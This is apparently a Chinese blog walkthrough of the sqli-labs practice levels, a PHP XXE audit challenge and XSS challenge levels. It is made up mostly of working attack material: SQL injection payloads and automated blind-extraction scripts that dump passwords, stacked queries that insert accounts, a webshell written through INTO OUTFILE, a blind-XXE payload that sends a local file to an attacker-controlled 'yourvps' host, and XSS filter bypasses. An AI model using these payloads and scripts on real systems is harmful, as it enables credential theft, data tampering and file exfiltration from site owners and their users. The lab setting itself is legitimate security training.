net_a_and_d

本文最后更新于:3 个月前

[TOC]

sql注入

level1

get提交参数id

首先提交1',判断是字符型还是数字型注入

image-20210130223925654

这里出现报错,说明是字符类型的,并且是用'将参数id包裹起来的。

接下来就是判断列数,爆表名,爆列名和数据库内容

0x1 确定列数并爆出表名

image-20210130213104147

当列数增加到4的时候开始报错,说明是三列

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

image-20210130213358017.png

0x2 爆列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

这里的列名很多

user_id,first_name,last_name,user,password,avatar,last_login,failed_login

0x3 爆出内容

选择password

?id=-1' union select 1,group_concat(password),3 from users--+ 

image-20210130213751401

level2

同样使用 id=1',判断是什么类型的注入

image-20210130214135139

可以发现输入的'没有其他的'与之闭合,导致报错,所以这是数字型注入

所以可以直接使用level1的注入语句,只需要删除 ‘ 即可

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 

?id=-1 union select 1,group_concat(password),3 from users--+ 

level3

提交id=1'

image-20210130214628110

分析一下报错原因

出错的语句为

'1'') LIMIT 0,1

其中1’输入的内容,所以包裹参数的格式为('id')

注入语句可以直接在level1的基础上增加一个 )即可

将原语句修改为

'1') 注入语句 --+ ') LIMIT 0,1 
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 

?id=-1') union select 1,group_concat(password),3 from users--+

level4

同样输入id=1',但是这次没有报错,才是是使用了",换成id=1"

image-20210130215456338

很明显和level3基本相同,将'改为",就是这关的答案

level5

这题是字符型注入,但是不在回显所查询的内容,所以是盲注

查看源码也可以发现

image-20210130220440238

不在打印出所查询到的内容,所以是盲注,但是这关没有关闭报错回显,所以可以通过报错注入

报错注入

(1). 通过floor报错

and (select 1 from (select count(),concat((payload) from users limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制,最长32位。

0x1 确定数据库名

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

image-20210130221306917

0x2 爆表名

?id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

这里每次报错显示的信息只有一行,所以只能有 limit,一个一个的显示,直到找到目标表名

0x3 爆列名

?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

0x4 爆内容

?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

后面的内容可以通过改变limit后的第一个参数查看

level6

与level5很像

image-20210130223612822

但是这里是用 “包裹参数,所以只需要将上面的注入语句中的 ‘ 改为 “即可

level7

提交id=1,出现提示

image-20210131230645205

需要使用outfile函数

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

  • into dumpfile()
  • into outfile()
  • load_file()

这里我们利用outfile函数

首先确定这关包裹参数的格式

一直测试到id=1')) --+,才显示正确所以可以确定参数的包裹格式为(('id'))

0x1 向网站根目录写入一句话木马

image-20210131233508732

执行后就可以在根目录中看到这个文件

image-20210131233433411

0x2 使用蚁剑连接

127.0.0.1/3.php
密码:cmd
image-20210131233415258

level8

根据标题和测试结果可以看出是盲注

首先判断是什么类型注入

提交id=1,显示结果为You are in,可以确定成功查询返回的结果

提交id=1',没有提示You are in,但是提交id=1' --+,再次出现You are in,可以确定是字符型注入,包裹形式为'id'

接下来就是确定盲注使用的语句,这里可以使用 asciisubstring两个函数

0x1 爆出数据库名

?id=1' and ascii(substring(database(),1,1))>97%23

首先假设数据库名的第一个字母的ascii码值大于97,回显为you are in,所以确定第一个字母大于97,之后可以使用二分法确定出最后的字母。

可以使用脚本完成该过程,脚本跑出的结果为 security

image-20210201120357770

0x2 爆出表名

使用注入语句

id=1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23

最后爆出的表名如下

0x3 爆出列名

id=1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23

image-20210201140521465

0x4 爆出内容

id=1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23

image-20210201141626668

完整脚本如下

import requests
url = "http://127.0.0.1/sqli-labs/Less-8/?id="

flag = ""
t = ""
sum=0
for i in range(1,50):
    left = 32
    right = 128
    mid = (right + left) >> 1
    while(left < right):
        # payload = "1' and ascii(substring(database(),{0},1))>{1}%23".format(i,mid)
        # payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
        # payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23".format(i,mid)
        payload = "1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23".format(i,mid)

        response = requests.get(url+payload)
        t = response.text
        if "You are in" in response.text:
            left = mid+1
        else:
            right = mid
        mid=(right+left)>>1
    # print(mid)
    flag = flag + chr(mid)
    print(flag)
print(flag)

level9

题目标题提示了是基于时间且单引号闭合的盲注

基于时间的盲注需要使用到sleep函数,基本用法如下

分别提交id=1id=1' and sleep(3) --+,其服务器的响应时间如下,第二个的响应时间正好比第一个长了三秒,所以可以根据服务器的响应时间来判断自己所查询的语句是否正确,一般需要编写脚本完成所有步骤。

image-20210201213644564

image-20210201213715695

注入脚本只需要改一改level8的即可。

完整脚本如下

import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-9/?id="

flag = ""

for i in range(1,50):
    left = 32
    right = 128
    mid = (right + left) >> 1
    while(left < right):
        # payload = "1' and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
        payload = "1' and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
        # payload = "1' and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
        # payload = "1' and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(2),null)%23".format(i,mid)
        t1 = datetime.datetime.now()
        response = requests.get(url+payload)
        t2 = datetime.datetime.now()
        if (t2 - t1).seconds > 2 :
            left = mid+1
        else:
            right = mid
        mid=(right+left)>>1

    flag = flag + chr(mid)
    print(flag)
print(flag)

爆破数据库名的过程如下

image-20210201220840369

level10

与level9基本相同,只需要将payload中的'换成"即可

完整脚本如下

import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-9/?id="

flag = ""

for i in range(1,50):
    left = 32
    right = 128
    mid = (right + left) >> 1
    while(left < right):
        # payload = "1" and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
        payload = "1" and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
        # payload = "1" and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
        # payload = "1" and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(2),null)%23".format(i,mid)
        t1 = datetime.datetime.now()
        response = requests.get(url+payload)
        t2 = datetime.datetime.now()
        if (t2 - t1).seconds > 2 :
            left = mid+1
        else:
            right = mid
        mid=(right+left)>>1

    flag = flag + chr(mid)
    print(flag)
print(flag)

level11

打开网页是一个登录页面

先判断列数,当三列出现报错,说明只有两列

uname=admin' order by 2#&passwd=1&submit=Submit

image-20210421192950662

尝试使用万能密码,成功登录

uname=admin' or '1'='1' #&passwd=1&submit=Submit
image-20210421192757146

获取数据库

uname=sda' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit

image-20210421193129915

获取列名,字段名

uname=sda' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=1&submit=Submit


uname=sda' union select 1,group_concat(password) from users#&passwd=1&submit=Submit

level12

这一关与上面就是使用的闭合符号不同,使用的双引号,所以只要将上面的payload改一下即可

uname=sda" union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=1&submit=Submit


uname=sda" union select 1,group_concat(password) from users#&passwd=1&submit=Submit

level13

输入单引号,出现报错

image-20210421193947944

分析一下即可

''') and password=('') LIMIT 0,1

第二个'是我们输入的,所以闭合方式为')

但是这题没有回显数据,可以使用报错注入或者延时盲注

注入的payload

uname= sa') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

    uname= dsad') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit
    uname= das') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= asd') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= das') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= das') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= das') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

level14

这一关就是和上面的闭合方式不一样,稍加修改即可

uname= sad" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit

level15

这是单引号闭合的布尔盲注,POST型

判断依据可以根据页面出现的图片

登录不成功时出现的图片

image-20210421195038499

登录成功的图片

image-20210421195111446

这里使用时间盲注

# -*- coding = utf - 8 -*-
#@Time : 2021/4/21 19:54
#@Author : sunzy
#@File : level15.py

import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-15/"

flag = ""
data = {'uname':'admin','passwd':'sad','submit':'Submit'}
for i in range(1,50):
    left = 32
    right = 128
    mid = (right + left) >> 1
    while(left < right):

        # payload = "1' and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
        #payload = "admin' and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
        # payload = "1' and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
        payload = "admin' and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(5),null)--+".format(i,mid)
        t1 = datetime.datetime.now()
        data['uname'] = payload
        response = requests.post(url=url,data=data)

        t2 = datetime.datetime.now()
        if (t2 - t1).seconds > 5:
            left = mid+1
        else:
            right = mid
        mid=(right+left)>>1
        print(flag)

    flag = flag + chr(mid)
    print(flag)
print(flag)

level16

将上一关的脚本该给双引号闭合即可

level17

updata注入

可以使用报错注入

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select database())),1)#&submit=Submit

image-20210421202328557

level18

uname和passwd都使用check_input过滤,而在这里将user-agent和ip作为记录,插入数据库

提示了ip地址和user-Agent,应该时http头注入

image-20210421202421443

抓包后,在user-agent的位置插入注入语句

1' and updatexml(1,concat(0x7e,(select database())),1) and 1='1

image-20210421203429860

level19

image-20210421203658570

登录后提示了referer,应该是在referer头注入

1' and updatexml(1,concat(0x7e,(select database())),1) and 1='1

image-20210421203948670

level20

正常登录,发现一个cookie字段

image-20210421204122118

尝试cookie位置注入

这里直接使用union联合查询即可

image-20210421204741263

uname=-adm' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

uname=-ada' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#

uname=-ada' union select 1,group_concat(password),3 from users#

level21

这一关和上一关就是加了一层base64编码,所以可以直接用上面的注入编码后提交

image-20210421205159215

uname=-as' union select 1,2,3#
uname=LWFzJyB1bmlvbiBzZWxlY3QgMSwyLDMj

但是出现报错

image-20210421205525074
uname=-as') union select 1,2,3#
uname=LWFzJykgdW5pb24gc2VsZWN0IDEsMiwzIw==
image-20210421205624679

所以只要将上面的sql语句修改闭合方式再编码提交即可

level22

基于错误的双引号字符型Cookie注入

image-20210421210142530

这里只要将21关的双引号换成双引号,再base64编码

uname=-as" union select 1,2,3#
uname=LWFzIiB1bmlvbiBzZWxlY3QgMSwyLDMj

image-20210421210212614

uname=-ada' union select 1,group_concat(password),3 from users--+ 
uname=LWFkYSIgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj

image-20210421210330135

level23

根据提示可以知道是get型注入

但是但输入

2' or 1=1 #
2' or 1=1 --+
2' or 1=1 %23

都会出现语法错误,猜测应该是 #, --两个注释符被过滤了

image-20210507090028666

里我们需要一个特殊的注释符:;%00或者and和or语句进行闭合

payload:

?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users ;%00

image-20210507090258902

level24

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以概括为以下两步:

第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

正常用户admin可以正常登录,但是这里需要注册一个非正常的恶意用户,向数据库中插入恶意数据,来修个正常用户admin的密码

username: admin’# 
password: 任意

注册完后可以使用该账号登录

image-20210507091708950

登录后可以更改用户的密码,此时可以随意修改密码,那么admin用户的密码就会被改成改密码

看看源码,分析原理

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');

将用户名和密码带入

$sql = "UPDATE users SET PASSWORD='123456' where username='admin' #' and password='$curr_pass' ";

可以看到真正的sql语句为

$sql = "UPDATE users SET PASSWORD='123456' where username='admin'

这杨就导致了admin用户密码被改变。

level25

这一关尝试可以发现,是将or和and替换成空

image-20210507093512147

但是可以直接使用双写绕过,因为它只过滤了一次

image-20210507093742004

所以还是可以使用union注入,就是要注意or和and单词需要双写。

level25a

这一关和上一关一样是过滤了or和and,可以使用双写绕过,但是需要使用盲注

可以使用level8使用的脚本,对其payload稍加修改即可

import requests
url = "http://127.0.0.1/sqli-labs/Less-25a/?id="

flag = ""
t = ""
sum=0
for i in range(1,50):
    left = 32
    right = 128
    mid = (right + left) >> 1
    while(left < right):
        # payload = "1 aandnd ascii(substring(database(),{0},1))>{1}%23".foorrmat(i,mid)
        # payload = "1 aandnd (select ascii(substring(group_concat(table_name),{0},1)) as a from infoorrmation_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
        # payload = "1 aandnd (select ascii(substring(group_concat(column_name),{0},1)) as a from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users' having a>{1})%23".format(i,mid)
        payload = "1 aandnd (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23".format(i,mid)

        response = requests.get(url+payload)
        t = response.text
        if "Your Login name" in response.text:
            left = mid+1
        else:
            right = mid
        mid=(right+left)>>1
    # print(mid)
    flag = flag + chr(mid)
    print(flag)
print(flag)

level26

26与上一关相比,很类似,空格,注释符和 / 也给过滤了

image-20210507094649645

对于注释和结尾字符的我们此处只能利用构造一个 ‘ 来闭合后面到 ‘ ;对于空格,有较多的方法:

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格(应该是php转化的时候是一个特殊字符,然后mysql会解释为空白字符)

可以使用报错注入或者盲注

payload:

0'||left(database(),1)>'s'%26%26'1'='1	
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

level26a

与上一关一样,题目提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注

0'||'1'='1	#探测为'
0'||left(database(),1)='s'%26%26'1'='1

白盒审计知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00

level27

题目提示unionselect被过滤了,但是没有使用preg_ireplace(),所以可用大小写绕过

image-20210507095131602
0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1

0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

level27a

与27关基本一样,就是在id参数位置没有使用单引号闭合

image-20210507095515296

image-20210507095524859

payload:

0%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

level28

union select大小写均被过滤,但是select还可单独用,盲注即可,注意这里的id闭合方式为('')

image-20210507095639166
0')||left(database(),1)>'s';%00

level28a

与28关相比,简单很多,只是过滤了union select,所以可以继续使用上面的payload

image-20210507095853009
0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00

level29

利用tomcatapache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2tomcat取得1,apache取得2

?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

level30

与 29 架构一样,原理一致只不过加了"限制

?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

level31

架构一样,多了")

?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

level32

注意是GBK,可以用%df进行宽字节注入

宽字节注入

宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)

先了解一下这些字符的url编码:

image.png

当输入单引号,经addslashes转义后,对应的url编码是:
‘ –> ' –> %5C%27
当在前面引入一个ASCII大于128的字符(比如%df),url编码变为:
%df –> %df \ ‘ –> (%df%5C)%27

若使用gbk编码的话,%df%5C会被当作一个汉字处理,从而使%27(单引号)逃出生天,成功绕过

payload:

0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

level33

与32相同

payload:

0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

level34

这关的过滤方式和前面一样,考虑宽字节注入,但是POST传入数据时不会进行URL编码,因此这里采用将utf8单引号转为utf-16/utf-32编码绕过,即将'转为utf-16为 �'

payload:

Username: 1�' or 1=1#
Password: 任意

level35

GET型宽字节注入,但区别是这里是数字型,不需要用单引号闭合了,其他的和less-32一样,16进制绕过一下表名即可。

payload:

?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

level36

直接使用32关的payload

?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

level37

和less-34一样

payload:

Username: 1�' or 1=1#
Password: 任意

level38

堆叠注入:可以执行多条语句,用分号间隔

堆叠注入优点是可以执行的语句更加灵活,如Create、Delete、Update、Insert、Drop….,但代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,在前端界面是无法看到返回结果的

可以使用create创建一张表

1';create table test like users;%23

也可以向数据包中插入一条数据

?id=1';insert into users(id,username,password) values('20','admin123','admin123')--+

level39

和38一样,只不过这里是数字型,无需闭合。

?id=1;insert into users(id,username,password) values('20','admin123','admin123')--+

level40

闭合方式不同而已

payload

?id=1');insert into users(id,username,password) values('15','admin123','admin123')--+

level41

数字型注入与39关相同

?id=1;insert into users(id,username,password) values('15','admin123','admin123')--+

level42

与之前几关类似,不过这里的username位置进过滤,所以需要password位置进行堆叠注入

payload

Username:usnn
Password:1';insert into users(id,username,password) values('15','admin123','admin123')#

点击登录后,会发现登录失败,但是inert语句已经被执行了,可以使用admin123账号直接登录

level43

与42的闭合方式不同

使用的是('')

payload

Username:usnn
Password:1');insert into users(id,username,password) values('15','admin123','admin123')#

level44

与42相同

Username:usnn
Password:1';insert into users(id,username,password) values('15','admin123','admin123')#

level45

与43相同

Username:usnn
Password:1');insert into users(id,username,password) values('15','admin123','admin123')#

level46

order by注入

usernamepassword均为列名,所以以下需要知道列名

?order=if(1=1,username,password)
?order=null,if(1=1,username,password)
?order=(case when (1=1) then username else password end)
?order=ifnull(null, username)
?order=rand(1=1)    //order by rand(1)/rand(0)两者返回不一样
?order=(select 1 regexp if(1=1,1,0x00))

1=1换成bool盲注的语句函数即可用于获取数据
sort=rand(ascii(database(),1))=115)

时间盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool 盲注

rand(ascii(left(database()),1))=115)

报错注入:

updatexml(1,if(1=1,concat(0x7e,version()),2),1)
(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

procedure analyse 参数后注入

sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

into outfile参数:

id=1 into outfield "path"

上传网马,可以在后面加上lines terminated by 16进制转码的数据

level47

与46的闭合防止不用,使用报错注入

?sort=1' and extractvalue(1,concat(0x7e,( select concat_ws(':',username,password) from users limit 0,1),0x7e))--+

level48

使用时间盲注

1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)
import requests

url = 'http://127.0.0.1/Less-48/
payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'
data = ''
for i in range(50):
    for j in payloads:
        # payload = f"?sort=1 and if((substr(binary database(),{i},1)='{j}'),sleep(3),1)"
        # payload = f"?sort=1 and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(3),1)"
        payload = f"?sort=1 and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(3),1)"       
        try:
            r = requests.get(url+payload, timeout=1)
        except Exception:
            data += j
            print(data)
            break

level49

与47的闭合方式不同,但是可以使用盲注

1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

level50

order by与堆叠注入结合,数字型

payload:

?sort=1;insert into users(id,username,password) values('16','admin123','admin123')--+
image-20210507103942074

level51

与50关相比增加单引号闭合

?sort=1;insert into users(id,username,password) values('16','admin123','admin123')--+

level52

与50相同

?sort=1;insert into users(id,username,password) values('16','admin123','admin123')--+

level53

和51一样,只是不会回显错误,堆叠注入方式相同。

?sort=1';insert into users(id,username,password) values('16','admin123','admin123')--+

xxe挑战

github地址:https://github.com/vulnspy/phpaudit-XXE/archive/master.zip

因为环境搭建比较简单就直接在windows上运行了

读取的文件也随之改变,在D盘中建立一个1.txt

image-20210303194816074

DOMDocument

使用如下payload读取文件

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY content SYSTEM "file:///D:/1.txt">
]>
<note>
	<name>&content;</name>
</note>

image-20210303194904746

漏洞原因

image-20210330213939369

DOmDocument类

$dom = new DOMDocument();

libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
    ob_end_clean();
    
}

SimpleXMLElement

使用payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY content SYSTEM "file:///D:/1.txt">
]>
<note>
	<name>&content;</name>
</note>

image-20210303195204160

漏洞代码

造成 XXE 的类是 SimpleXMLElement

libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    ob_start();
    var_dump($xml);
    $resp = ob_get_contents();
    ob_end_clean();   
}

simplexml_load_string

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY content SYSTEM "file:///D:/1.txt">
]>
<note>
	<name>&content;</name>
</note>

image-20210303195407342

造成漏洞的是simplexml_load_string,代码如下

$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
    ob_start();
    var_dump($xml);
    $resp = ob_get_contents();
    ob_end_clean();
    
}

BlindXXE

这一关提交payload无法看到内容,但是可以看到是访问成功的

正常情况下,只会返回给我们ok,即有查询结果,但是不会告诉我们结果是什么

源码如下

<?php
if(isset($_GET['s'])){
    show_source(__FILE__);
    exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
    if($xml && isset($xml->name)){
        $name = $xml->name;
    }
   echo isset($name)?'ok':'error'; 
}
?>

上面的例子是因为echo htmlspecialchars($resp);这句代码所以才有回显,那么把这段代码去掉,就变成了无回显。那么,是不是就不能进行xxe了呢,答案是否定的,虽然靶机没有返回给我们数据,但是我们可以把数据带到我们自己的服务器上。

我们传入如下的payload:

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=D:/1.txt">
    <!ENTITY % dtd SYSTEM "http://yourvps/evil.xml">
    %dtd;
    %send;
]>
<abc></abc>

然后在自己的vps上的evil.xml写入:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://yourvps/?content=%file;'>"> %payload;

注意,因为这里是参数实体payload来嵌套定义参数实体send,所以被嵌套定义的参数实体%一定要HTML编码为:%

如此一来,调用的过程就变成了:参数实体dtd通过http协议来访问vps上的evil.xml,然后返回evil.xml的内容,调用了参数实体payload,然后payload又调用了参数实体sendsend的作用就是把参数实体file(即文件D:/1.txt的base64编码内容)发送到我们的vps上,注意在服务器上监听

xss通关

因为网上有挑战题目的网址就没在本地搭建

1

最基础的xss,get提交

?name=<script>alert(1)</script>

image-20210303151729341

2

第二关直接提交会发现没有弹窗

查看源码可以看到,因为<script>,被包裹在input标签中无法起作用,因此需要先闭合input标签

image-20210303152358665

payload

"><script>alert(1)</script>
image-20210303152632625

3

直接提交查看源码

image-20210303152721584

可以发现提交后的数据经过htmlspecialchars()转化成了实体变量不在有js代码的作用,所以需要换一种方法

payload

'onclick='javascript:alert(1)'

再点击一次就可以过关

4

这题与上面的一样只不过这次换成了双引号闭合

image-20210303153135610

"onclick='javascript:alert(1)'
image-20210303153118763

5

提交"><script>alert(1)</script>

image-20210303153451829

可以发现script被换成了scr_ipt,使用"onclick='javascript:alert(1)'也不行

再换一种方法

image-20210303153621744

6

尝试了

<input name=keyword  value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword  value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword  value=" "<scr_ipt> alert(1)</script>">

但是都不行了,尝试了看样子是过了href, onclick, script关键词,尝试大小写绕过

提交

"oNclick='javascript:alert(1)'

image-20210303160021818

7

提交"oNclick='javascript:alert(1)',但是发现on被过滤了

image-20210303160102536

直接尝试双写绕过

oonnclick='javascript:alert(1)

image-20210303160204046

8

提交"oNclick='javascript:alert(1),可以发现过滤了 " < >,而且进行了实体转换

image-20210303160514318

换一种新的注入方法html字符转换绕过

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

image-20210303160720539

9

尝试第八关使用的代码但是发现不行

但是查看源码可以发现提示你的链接不合法,那么合法的链接有什么特点呢

就是带有协议头

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1) // http://

10

尝试了几种方法之后发现 ,没有输出点

image-20210303162415275

可以发现输入点是隐藏的

使用下面代码测试以上三个哪个是可以注入的

&t_link=" text" &t_history="text"&t_sort="text"

image-20210303162558986

再构造代码

&t_sort=" type="text" onclick="alert(1)

image-20210303162721705

11

进入页面后尝试使用上一关的方法但是无效,上网查看后发现是再refere头注入

image-20210303164336051

可以发现相应包中已经被注入了XSS

在抓包页面返回给浏览器,就会出现被注入的输入框

image-20210303164657154

12

继续抓包,这次可以发现是在UA中注入

image-20210303164836733

与上一关做法相似

出现输入框点击即可

image-20210303164930662

13

这关是在cookie处注入,方法与之前相同

payload

cookie: 原值+user=" type=text onclick="alert(1)
image-20210303165143032

14

需要使用带XSS的图片

15

